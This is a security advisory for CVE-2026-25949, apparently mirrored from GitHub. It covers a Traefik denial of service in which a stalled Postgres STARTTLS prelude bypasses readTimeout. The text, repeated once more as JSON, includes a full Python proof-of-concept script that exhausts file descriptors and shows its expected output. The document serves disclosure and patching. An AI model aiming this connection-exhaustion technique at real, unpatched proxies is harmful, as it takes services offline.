GHSA-89P3-4642-CR2W

Vulnerability from github – Published: 2026-02-12 15:54 – Updated: 2026-02-12 22:08
VLAI?
Summary
Traefik: TCP readTimeout bypass via STARTTLS on Postgres
Details

Impact

There is a potential vulnerability in Traefik managing STARTTLS requests.

An unauthenticated client can bypass Traefik entrypoint respondingTimeouts.readTimeout by sending the 8-byte Postgres SSLRequest (STARTTLS) prelude and then stalling, causing connections to remain open indefinitely, leading to a denial of service.

Patches

  • https://github.com/traefik/traefik/releases/tag/v3.6.8

For more information

If you have any questions or comments about this advisory, please open an issue.

Original Description ### Summary A remote, unauthenticated client can bypass Traefik entrypoint `respondingTimeouts.readTimeout` by sending the 8-byte Postgres SSLRequest (STARTTLS) prelude and then stalling, causing connections to remain open indefinitely and enabling file-descriptor and goroutine exhaustion denial of service. This triggers during protocol detection **before routing**, so it is reachable on an entrypoint even when **no Postgres/TCP routers are configured** (the PoC uses only an HTTP router). ### Details Traefik applies per-connection deadlines based on `entryPoints..transport.respondingTimeouts.readTimeout` to prevent protocol detection and request reads from blocking forever (see `pkg/server/server_entrypoint_tcp.go`, which sets `SetReadDeadline` on accepted connections). However, in the TCP router protocol detection path (`pkg/server/router/tcp/router.go`), when Traefik detects the Postgres STARTTLS signature on a new connection, it executes a fast-path that clears deadlines: - detect Postgres SSLRequest (8-byte signature), - call `conn.SetDeadline(time.Time{})` (clears all deadlines), - then enter the Postgres STARTTLS handler (`servePostgres`). The Postgres handler (`pkg/server/router/tcp/postgres.go`) then blocks waiting for a TLS ClientHello via the same peeking logic used elsewhere (`clientHelloInfo(br)`), but with deadlines removed. An attacker can therefore: 1. connect to any internet-exposed TCP entrypoint, 2. send the Postgres SSLRequest (SSL negotiation request), 3. receive Traefik’s single-byte response (`S`), 4. stop sending any further bytes. Each such connection remains open past the configured `readTimeout` (indefinitely), consuming a goroutine and a file descriptor until Traefik hits process limits. _Of note_: CVE-2026-22045 fixed a conceptually-similar DoS where a protocol-specific fast path cleared connection deadlines and then could block in TLS handshake processing, allowing unauthenticated clients to tie up goroutines/FDs indefinitely. This report is the same failure mode, but triggered via the Postgres STARTTLS detection path. Tested versions: - `v3.6.7` - `master` at commit `a4a91344edcdd6276c1b766ca19ee3f0e346480f` ### PoC Prerequisites: - Linux host - Python 3 - A prebuilt Traefik `v3.6.7` binary. The script below expects the path in the script’s `TRAEFIK_BIN` constant (edit if needed). Execute the script below: Script (Click to expand)
#!/usr/bin/env python3
from __future__ import annotations

import os
import socket
import subprocess
import tempfile
import time
from typing import Final

# Hardcode the Traefik binary path. Edit as needed.
TRAEFIK_BIN: Final[str] = "/usr/local/sbin/traefik"

HOST: Final[str] = "127.0.0.1"
PORT: Final[int] = 18080

STARTUP_SLEEP_SECS: Final[float] = 2.0
READ_TIMEOUT_SECS: Final[float] = 2.0
SLEEP_SECS: Final[float] = 3.5
N_CONNS: Final[int] = 300

POSTGRES_SSLREQUEST: Final[bytes] = bytes([0x00, 0x00, 0x00, 0x08, 0x04, 0xD2, 0x16, 0x2F])


def fd_count(pid: int) -> int:
    return len(os.listdir(f"/proc/{pid}/fd"))


def open_idle_conns(n: int) -> list[socket.socket]:
    conns: list[socket.socket] = []
    for _ in range(n):
        conns.append(socket.create_connection((HOST, PORT)))
    return conns


def open_postgres_sslrequest_conns(n: int) -> list[socket.socket]:
    conns: list[socket.socket] = []
    for _ in range(n):
        s = socket.create_connection((HOST, PORT))
        s.settimeout(1.0)
        s.sendall(POSTGRES_SSLREQUEST)
        try:
            _ = s.recv(1)  # typically b"S"
        except socket.timeout:
            pass
        conns.append(s)
    return conns


def close_all(conns: list[socket.socket]) -> None:
    for s in conns:
        try:
            s.close()
        except OSError:
            pass


def main() -> None:
    with tempfile.TemporaryDirectory(prefix="vh-traefik-f005-") as td:
        dyn = os.path.join(td, "dynamic.yml")
        with open(dyn, "w", encoding="utf-8") as f:
            f.write(
                f"""\
http:
  routers:
    r:
      entryPoints: [web]
      rule: "PathPrefix(`/`)"
      service: s
  services:
    s:
      loadBalancer:
        servers:
          - url: "http://{HOST}:9"
"""
            )

        proc = subprocess.Popen(
            [
                TRAEFIK_BIN,
                "--log.level=ERROR",
                f"--entryPoints.web.address=:{PORT}",
                f"--entryPoints.web.transport.respondingTimeouts.readTimeout={READ_TIMEOUT_SECS}s",
                f"--providers.file.filename={dyn}",
                "--providers.file.watch=false",
            ],
            stdout=subprocess.DEVNULL,
            stderr=subprocess.STDOUT,
        )
        try:
            time.sleep(STARTUP_SLEEP_SECS)

            pid = proc.pid
            if pid is None:
                raise RuntimeError("Traefik PID is None")

            ver = subprocess.check_output([TRAEFIK_BIN, "version"], text=True).strip()
            print(ver)
            print(f"Traefik={TRAEFIK_BIN}")
            print(f"Host={HOST} Port={PORT} ReadTimeout={READ_TIMEOUT_SECS}s N={N_CONNS} Sleep={SLEEP_SECS}s")

            base = fd_count(pid)
            print(f"traefik_pid={pid} fd_base={base}")

            idle = open_idle_conns(N_CONNS)
            fd_after_open_idle = fd_count(pid)
            print(f"baseline_opened={N_CONNS} fd_after_open={fd_after_open_idle} delta={fd_after_open_idle - base}")
            time.sleep(SLEEP_SECS)
            fd_after_sleep_idle = fd_count(pid)
            print(f"baseline_after_sleep fd={fd_after_sleep_idle} delta_from_base={fd_after_sleep_idle - base}")
            close_all(idle)

            pg = open_postgres_sslrequest_conns(N_CONNS)
            fd_after_open_pg = fd_count(pid)
            print(f"candidate_opened={N_CONNS} fd_after_open={fd_after_open_pg} delta={fd_after_open_pg - base}")
            time.sleep(SLEEP_SECS)
            fd_after_sleep_pg = fd_count(pid)
            print(f"candidate_after_sleep fd={fd_after_sleep_pg} delta_from_base={fd_after_sleep_pg - base}")
            close_all(pg)

            if (fd_after_sleep_idle - base) <= 5 and (fd_after_sleep_pg - base) >= (N_CONNS // 2):
                print("VULNERABLE: Postgres SSLRequest keeps connections open past entrypoint readTimeout.")
            else:
                print("INCONCLUSIVE: adjust N_CONNS upward or inspect Traefik logs.")
        finally:
            proc.terminate()
            try:
                proc.wait(timeout=3.0)
            except subprocess.TimeoutExpired:
                proc.kill()
                proc.wait(timeout=3.0)


if __name__ == "__main__":
    main()
Expected output (Click to expand)
Version:      3.6.7
Codename:     ramequin
Go version:   go1.24.11
Built:        2026-01-14T14:04:03Z
OS/Arch:      linux/amd64
Traefik=/usr/local/sbin/traefik
Host=127.0.0.1 Port=18080 ReadTimeout=2.0s N=300 Sleep=3.5s
traefik_pid=46204 fd_base=6
baseline_opened=300 fd_after_open=128 delta=122
baseline_after_sleep fd=6 delta_from_base=0
candidate_opened=300 fd_after_open=306 delta=300
candidate_after_sleep fd=306 delta_from_base=300
VULNERABLE: Postgres SSLRequest keeps connections open past entrypoint readTimeout.
### Impact Denial of service. Any internet-exposed entrypoint using the TCP switcher/protocol detection (including "web" HTTP entrypoints) with a `readTimeout` is affected; no Postgres configuration is required. At sufficient concurrency, Traefik can hit process limits (FD exhaustion/goroutine pressure/memory), taking the proxy offline.
Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 3.6.7"
      },
      "package": {
        "ecosystem": "Go",
        "name": "github.com/traefik/traefik/v3"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.6.8"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-25949"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-02-12T15:54:11Z",
    "nvd_published_at": "2026-02-12T20:16:11Z",
    "severity": "HIGH"
  },
  "details": "## Impact\n\nThere is a potential vulnerability in Traefik managing STARTTLS requests. \n\nAn unauthenticated client can bypass Traefik entrypoint `respondingTimeouts.readTimeout` by sending the 8-byte Postgres SSLRequest (STARTTLS) prelude and then stalling, causing connections to remain open indefinitely, leading to a denial of service. \n\n## Patches\n\n- https://github.com/traefik/traefik/releases/tag/v3.6.8\n\n## For more information\n\nIf you have any questions or comments about this advisory, please [open an issue](https://github.com/traefik/traefik/issues).\n\n\u003cdetails\u003e\n\u003csummary\u003eOriginal Description\u003c/summary\u003e\n\n### Summary\nA remote, unauthenticated client can bypass Traefik entrypoint `respondingTimeouts.readTimeout` by sending the 8-byte Postgres SSLRequest (STARTTLS) prelude and then stalling, causing connections to remain open indefinitely and enabling file-descriptor and goroutine exhaustion denial of service.\n\nThis triggers during protocol detection **before routing**, so it is reachable on an entrypoint even when **no Postgres/TCP routers are configured** (the PoC uses only an HTTP router).\n\n### Details\nTraefik applies per-connection deadlines based on `entryPoints.\u003cname\u003e.transport.respondingTimeouts.readTimeout` to prevent protocol detection and request reads from blocking forever (see `pkg/server/server_entrypoint_tcp.go`, which sets `SetReadDeadline` on accepted connections).\n\nHowever, in the TCP router protocol detection path (`pkg/server/router/tcp/router.go`), when Traefik detects the Postgres STARTTLS signature on a new connection, it executes a fast-path that clears deadlines:\n\n- detect Postgres SSLRequest (8-byte signature),\n- call `conn.SetDeadline(time.Time{})` (clears all deadlines),\n- then enter the Postgres STARTTLS handler (`servePostgres`).\n\nThe Postgres handler (`pkg/server/router/tcp/postgres.go`) then blocks waiting for a TLS ClientHello via the same peeking logic used elsewhere (`clientHelloInfo(br)`), but with deadlines removed. An attacker can therefore:\n\n1. connect to any internet-exposed TCP entrypoint,\n2. send the Postgres SSLRequest (SSL negotiation request),\n3. receive Traefik\u2019s single-byte response (`S`),\n4. stop sending any further bytes.\n\n\nEach such connection remains open past the configured `readTimeout` (indefinitely), consuming a goroutine and a file descriptor until Traefik hits process limits.\n\n_Of note_: CVE-2026-22045 fixed a conceptually-similar DoS where a protocol-specific fast path cleared connection deadlines and then could block in TLS handshake processing, allowing unauthenticated clients to tie up goroutines/FDs indefinitely. This report is the same failure mode, but triggered via the Postgres STARTTLS detection path.\n\nTested versions:\n- `v3.6.7`\n- `master` at commit `a4a91344edcdd6276c1b766ca19ee3f0e346480f` \n\n### PoC\nPrerequisites:\n- Linux host\n- Python 3\n- A prebuilt Traefik `v3.6.7` binary. The script below expects the path in the script\u2019s `TRAEFIK_BIN` constant (edit if needed).\n\nExecute the script below:\n\u003cdetails\u003e\n\u003csummary\u003eScript (Click to expand)\u003c/summary\u003e\n\n```python\n#!/usr/bin/env python3\nfrom __future__ import annotations\n\nimport os\nimport socket\nimport subprocess\nimport tempfile\nimport time\nfrom typing import Final\n\n# Hardcode the Traefik binary path. Edit as needed.\nTRAEFIK_BIN: Final[str] = \"/usr/local/sbin/traefik\"\n\nHOST: Final[str] = \"127.0.0.1\"\nPORT: Final[int] = 18080\n\nSTARTUP_SLEEP_SECS: Final[float] = 2.0\nREAD_TIMEOUT_SECS: Final[float] = 2.0\nSLEEP_SECS: Final[float] = 3.5\nN_CONNS: Final[int] = 300\n\nPOSTGRES_SSLREQUEST: Final[bytes] = bytes([0x00, 0x00, 0x00, 0x08, 0x04, 0xD2, 0x16, 0x2F])\n\n\ndef fd_count(pid: int) -\u003e int:\n    return len(os.listdir(f\"/proc/{pid}/fd\"))\n\n\ndef open_idle_conns(n: int) -\u003e list[socket.socket]:\n    conns: list[socket.socket] = []\n    for _ in range(n):\n        conns.append(socket.create_connection((HOST, PORT)))\n    return conns\n\n\ndef open_postgres_sslrequest_conns(n: int) -\u003e list[socket.socket]:\n    conns: list[socket.socket] = []\n    for _ in range(n):\n        s = socket.create_connection((HOST, PORT))\n        s.settimeout(1.0)\n        s.sendall(POSTGRES_SSLREQUEST)\n        try:\n            _ = s.recv(1)  # typically b\"S\"\n        except socket.timeout:\n            pass\n        conns.append(s)\n    return conns\n\n\ndef close_all(conns: list[socket.socket]) -\u003e None:\n    for s in conns:\n        try:\n            s.close()\n        except OSError:\n            pass\n\n\ndef main() -\u003e None:\n    with tempfile.TemporaryDirectory(prefix=\"vh-traefik-f005-\") as td:\n        dyn = os.path.join(td, \"dynamic.yml\")\n        with open(dyn, \"w\", encoding=\"utf-8\") as f:\n            f.write(\n                f\"\"\"\\\nhttp:\n  routers:\n    r:\n      entryPoints: [web]\n      rule: \"PathPrefix(`/`)\"\n      service: s\n  services:\n    s:\n      loadBalancer:\n        servers:\n          - url: \"http://{HOST}:9\"\n\"\"\"\n            )\n\n        proc = subprocess.Popen(\n            [\n                TRAEFIK_BIN,\n                \"--log.level=ERROR\",\n                f\"--entryPoints.web.address=:{PORT}\",\n                f\"--entryPoints.web.transport.respondingTimeouts.readTimeout={READ_TIMEOUT_SECS}s\",\n                f\"--providers.file.filename={dyn}\",\n                \"--providers.file.watch=false\",\n            ],\n            stdout=subprocess.DEVNULL,\n            stderr=subprocess.STDOUT,\n        )\n        try:\n            time.sleep(STARTUP_SLEEP_SECS)\n\n            pid = proc.pid\n            if pid is None:\n                raise RuntimeError(\"Traefik PID is None\")\n\n            ver = subprocess.check_output([TRAEFIK_BIN, \"version\"], text=True).strip()\n            print(ver)\n            print(f\"Traefik={TRAEFIK_BIN}\")\n            print(f\"Host={HOST} Port={PORT} ReadTimeout={READ_TIMEOUT_SECS}s N={N_CONNS} Sleep={SLEEP_SECS}s\")\n\n            base = fd_count(pid)\n            print(f\"traefik_pid={pid} fd_base={base}\")\n\n            idle = open_idle_conns(N_CONNS)\n            fd_after_open_idle = fd_count(pid)\n            print(f\"baseline_opened={N_CONNS} fd_after_open={fd_after_open_idle} delta={fd_after_open_idle - base}\")\n            time.sleep(SLEEP_SECS)\n            fd_after_sleep_idle = fd_count(pid)\n            print(f\"baseline_after_sleep fd={fd_after_sleep_idle} delta_from_base={fd_after_sleep_idle - base}\")\n            close_all(idle)\n\n            pg = open_postgres_sslrequest_conns(N_CONNS)\n            fd_after_open_pg = fd_count(pid)\n            print(f\"candidate_opened={N_CONNS} fd_after_open={fd_after_open_pg} delta={fd_after_open_pg - base}\")\n            time.sleep(SLEEP_SECS)\n            fd_after_sleep_pg = fd_count(pid)\n            print(f\"candidate_after_sleep fd={fd_after_sleep_pg} delta_from_base={fd_after_sleep_pg - base}\")\n            close_all(pg)\n\n            if (fd_after_sleep_idle - base) \u003c= 5 and (fd_after_sleep_pg - base) \u003e= (N_CONNS // 2):\n                print(\"VULNERABLE: Postgres SSLRequest keeps connections open past entrypoint readTimeout.\")\n            else:\n                print(\"INCONCLUSIVE: adjust N_CONNS upward or inspect Traefik logs.\")\n        finally:\n            proc.terminate()\n            try:\n                proc.wait(timeout=3.0)\n            except subprocess.TimeoutExpired:\n                proc.kill()\n                proc.wait(timeout=3.0)\n\n\nif __name__ == \"__main__\":\n    main()\n```\n\u003c/details\u003e\n\n\n\u003cdetails\u003e\n\u003csummary\u003eExpected output (Click to expand)\u003c/summary\u003e\n\n```bash\nVersion:      3.6.7\nCodename:     ramequin\nGo version:   go1.24.11\nBuilt:        2026-01-14T14:04:03Z\nOS/Arch:      linux/amd64\nTraefik=/usr/local/sbin/traefik\nHost=127.0.0.1 Port=18080 ReadTimeout=2.0s N=300 Sleep=3.5s\ntraefik_pid=46204 fd_base=6\nbaseline_opened=300 fd_after_open=128 delta=122\nbaseline_after_sleep fd=6 delta_from_base=0\ncandidate_opened=300 fd_after_open=306 delta=300\ncandidate_after_sleep fd=306 delta_from_base=300\nVULNERABLE: Postgres SSLRequest keeps connections open past entrypoint readTimeout.\n```\n\u003c/details\u003e\n\n### Impact\nDenial of service. Any internet-exposed entrypoint using the TCP switcher/protocol detection (including \"web\" HTTP entrypoints) with a `readTimeout` is affected; no Postgres configuration is required. At sufficient concurrency, Traefik can hit process limits (FD exhaustion/goroutine pressure/memory), taking the proxy offline.\n\n\u003c/details\u003e",
  "id": "GHSA-89p3-4642-cr2w",
  "modified": "2026-02-12T22:08:02Z",
  "published": "2026-02-12T15:54:11Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/traefik/traefik/security/advisories/GHSA-89p3-4642-cr2w"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-25949"
    },
    {
      "type": "WEB",
      "url": "https://github.com/traefik/traefik/commit/31e566e9f1d7888ccb6fbc18bfed427203c35678"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/traefik/traefik"
    },
    {
      "type": "WEB",
      "url": "https://github.com/traefik/traefik/releases/tag/v3.6.8"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Traefik: TCP readTimeout bypass via STARTTLS on Postgres"
}


Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Sightings

Author Source Type Date

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.


Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…